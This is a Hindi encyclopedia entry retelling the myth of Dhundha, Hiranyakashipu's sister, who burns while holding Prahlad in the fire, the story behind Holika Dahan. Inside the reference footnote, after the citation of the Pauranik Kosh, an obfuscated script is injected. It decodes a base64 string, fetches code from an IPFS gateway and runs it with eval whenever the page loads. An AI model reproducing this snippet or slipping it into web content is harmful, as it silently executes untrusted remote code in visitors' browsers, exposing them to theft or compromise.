ढुंढा

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ढुंढा पौराणिक धर्म ग्रंथों और हिन्दू मान्यताओं के अनुसार एक राक्षसी थी, जो राक्षसराज हिरण्यकशिपु की बहिन तथा प्रह्लाद की बुआ थी।[1]

  • हिरण्यकशिपु की बहिन ढुंढा ने भगवान शंकर से अग्नि में नहीं जलने का वरदान प्राप्त किया था।
  • राक्षसराज हिरण्यकशिपु ने अपने समस्त राज्य में विष्णु की पूजा तथा उसका गुणगान करने पर प्रतिबन्ध लगा दिया था।
  • प्रह्लाद जो कि हिरण्यकशिपु का पुत्र था, वह विष्णु का परम भक्त था। उसकी विष्णु भक्ति के कारण हिरण्यकशिपु ने उसे मारने के अनेक प्रयत्न किये।
  • कई उपाय करने पर भी जब हिरण्यकशिपु प्रह्लाद को मारने में असफल रहा, तब उसने अपनी बहिन ढुंढा की सहायता लेने का विचार किया।
  • हिरण्यकशिपु के कहने पर ढुंढा प्रह्लाद को गोद में लेकर अग्नि में बैठी। आशा थी कि प्रह्लाद जल जायेगा और ढुंढा भगवान शंकर के वरदान के कारण सकुशल अग्नि से बच निकलेगी।
  • भगवान विष्णु के प्रताप से प्रह्लाद का बाल भी बांका नहीं हुआ, लेकिन ढुंढा अग्नि में जल कर भस्म हो गई। यह घटना फाल्गुन पूर्णिमा के दिन घटी थी, जिसकी याद में 'होलिका दहन' होता है।


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टीका टिप्पणी और संदर्भ

  1. पौराणिक कोश |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संपादन: राणा प्रसाद शर्मा |पृष्ठ संख्या: 391 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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